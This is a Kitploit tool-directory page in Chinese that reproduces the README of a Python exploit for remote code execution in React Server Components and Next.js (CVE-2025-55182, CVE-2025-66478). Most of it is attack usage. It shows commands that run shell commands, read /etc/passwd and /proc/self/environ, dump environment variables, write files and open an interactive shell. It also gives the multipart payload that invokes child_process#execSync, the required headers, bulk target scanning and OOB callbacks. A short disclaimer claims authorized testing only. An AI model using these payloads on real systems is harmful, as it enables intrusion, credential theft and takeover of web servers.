Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-Exploit-PoC-Scanner — 针对React Server Components和Next.js中CVE-2025-55182和CVE-2025-66478的漏洞利用工具,具有RCE小工具、文件读写、OOB回调以及用于授权安全测试的交互式shell。 | Kitploit
工具/GitHubGitHub/zemarkhos/cve-2025-55182-exploit-poc-scanner
漏洞扫描器动态分析 (沙盒)漏洞利用Web应用程序漏洞利用Web安全渗透测试命令与控制学习与教育红队
Payload 开发
GitHubzemarkhos/cve-2025-55182-exploit-poc-scanner

CVE-2025-55182-Exploit-PoC-Scanner

针对React Server Components和Next.js中CVE-2025-55182和CVE-2025-66478的漏洞利用工具,具有RCE小工具、文件读写、OOB回调以及用于授权安全测试的交互式shell。

查看仓库
2159个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182 - React服务器组件RCE利用工具v2.0

一个全面的安全研究工具,用于测试React服务器组件(RSC)和Next.js Server Actions中的CVE-2025-55182和CVE-2025-66478漏洞。

漏洞总览

属性值
CVE编号CVE-2025-55182, CVE-2025-66478
CVSS分数10.0 (严重)
受影响版本React < 19.2.0, Next.js < 15.0.5
漏洞类型远程代码执行 (RCE)
攻击向量网络

功能特性

  • PortSwigger风格的漏洞扫描,支持多种检测载荷
  • 多种RCE工具 (execSync, spawnSync, vm.runInThisContext 等)
  • 带外(OOB)回调测试,用于盲RCE验证
  • 文件读写能力
  • JavaScript代码执行
  • 交互式Shell模式
  • 批量扫描,支持多线程
  • 代理支持 (兼容Burp Suite)
  • JSON/文本输出格式

安装

环境要求

root@kitploit:~
pip install requests

Python版本

  • Python 3.7 或更高

快速开始

root@kitploit:~
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check

# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan

# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com

# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Interactive shell
python3 exploit-custom.py -u https://target.com --shell

使用方法

命令行参数

root@kitploit:~
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
                         [-H HEADER] [-t THREADS] [--timeout TIMEOUT]
                         [--check] [--detect] [--scan] [--test-all]
                         [--oob HOST] [--cmd CMD] [--gadget GADGET]
                         [--read FILE] [--write FILE CONTENT] [--js JS]
                         [--shell] [-o OUTPUT] [-q]

目标选择

参数描述示例
-u, --url单个目标URL-u https://target.com
-l, --list包含URL的文件-l targets.txt

扫描模式

参数描述
--detect检测Next.js/RSC使用情况
--check快速漏洞检查 (数学测试)
--scan完整漏洞扫描 (PortSwigger风格)
--test-all测试所有工具和检测载荷

利用

参数描述示例
--cmd执行Shell命令--cmd "id"
--gadget指定使用的工具--gadget execSync
--read读取目标文件--read /etc/passwd
--write写入目标文件--write /tmp/test.txt "content"
--js执行JavaScript代码--js "process.env"
--shell启动交互式Shell--shell
--oobOOB回调主机--oob xyz.oastify.com

连接选项

参数描述示例
-p, --proxyHTTP/HTTPS代理-p http://127.0.0.1:8080
-c, --cookiesCookie字符串-c "session=abc123"
-H, --header额外请求头 (可重复)-H "X-Custom: value"
-t, --threads批量扫描的线程数-t 20
--timeout请求超时时间(秒)--timeout 60

输出选项

参数描述
-o, --output将结果保存到文件 (.json 或 .txt)
-q, --quiet隐藏启动横幅

扫描示例

单个目标

root@kitploit:~
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect

# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check

# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan

# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com

批量扫描

root@kitploit:~
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json

# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json

# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json

利用示例

命令执行

root@kitploit:~
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync

文件操作

root@kitploit:~
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ

# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"

JavaScript执行

root@kitploit:~
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"

# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"

# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"

交互式Shell

root@kitploit:~
python3 exploit-custom.py -u https://target.com --shell

Shell命令:

命令描述
<command>执行Shell命令
!read <file>读取文件
!write <file> <content>写入文件
!js <code>执行JavaScript
!gadget <name>切换工具
exit退出Shell

可用工具

RCE工具

名称模块ID描述
execSyncchild_process#execSync直接执行Shell命令
execFileSyncchild_process#execFileSync执行二进制文件
spawnSyncchild_process#spawnSync带参数生成进程
vm_runInThisContextvm#runInThisContext在当前上下文中执行JS
vm_runInNewContextvm#runInNewContext在沙箱中执行JS(可逃逸)
vm_runInThisContext_globalvm#runInThisContext通过global.process执行

文件工具

名称模块ID描述
fs_readFileSyncfs#readFileSync读取任意文件
fs_writeFileSyncfs#writeFileSync写入任意文件

OOB工具

名称描述
vm_fetch通过fetch API发起HTTP请求 (Node 18+)
vm_http通过http模块发起HTTP请求

检测载荷 (CVE-2025-66478)

--scan模式使用以下PortSwigger风格的检测载荷:

载荷描述
property_reference冒号分隔的属性引用 ["$1:a:a"]
property_reference_v2替代引用 ["$1:b:b"]
property_reference_constructor通过属性引用访问构造函数
property_reference_proto通过属性引用访问原型链
action_ref_vm结合vm#runInThisContext的ACTION_REF
action_ref_execSync结合child_process#execSync的ACTION_REF

OOB回调方法

该工具支持多种OOB回调方法:

方法描述
curl通过curl命令发起HTTP请求
wget通过wget命令发起HTTP请求
nslookupDNS查询
pingICMP ping
fetchNode.js fetch API
httpNode.js http模块

输出解读

终端颜色

颜色状态含义
绿色[VULN]存在漏洞 - RCE已确认
黄色[PATCH]已修补 - Server Actions处于活动状态但受保护
蓝色[RSC]检测到Server Actions
青色[NEXT]检测到Next.js
红色[ERR]连接错误

扫描结果

root@kitploit:~
[VULN] property_reference          Vulnerable pattern detected!
        -> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2       HTTP 200
[500]  action_ref_vm               digest:12345

技术细节

RSC飞行格式

工具解析React服务器组件的“飞行格式”响应:

root@kitploit:~
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}

多部分载荷结构

root@kitploit:~
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--

必需HTTP请求头

root@kitploit:~
Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]

已修补版本

React

  • 19.0.1, 19.1.2, 19.2.1

Next.js

  • 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

使用场景

漏洞赏金

root@kitploit:~
# 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt

# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json

# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com

渗透测试

root@kitploit:~
# 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect

# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell

参考资料

  • Next.js安全公告 - CVE-2025-66478
  • Wiz研究 - CVE-2025-55182
  • PortSwigger研究

法律免责声明

本工具仅用于授权安全测试和教育目的。

警告: 未经授权访问计算机系统是违法的。请仅在您拥有或已获得明确书面许可的系统上使用此工具。

作者对因滥用或误用本工具造成的任何损害不承担责任。

许可证

本工具为安全研究和授权渗透测试目的而发布。


作者: Ünsal Furkan Harani 版本: 2.0

下载工具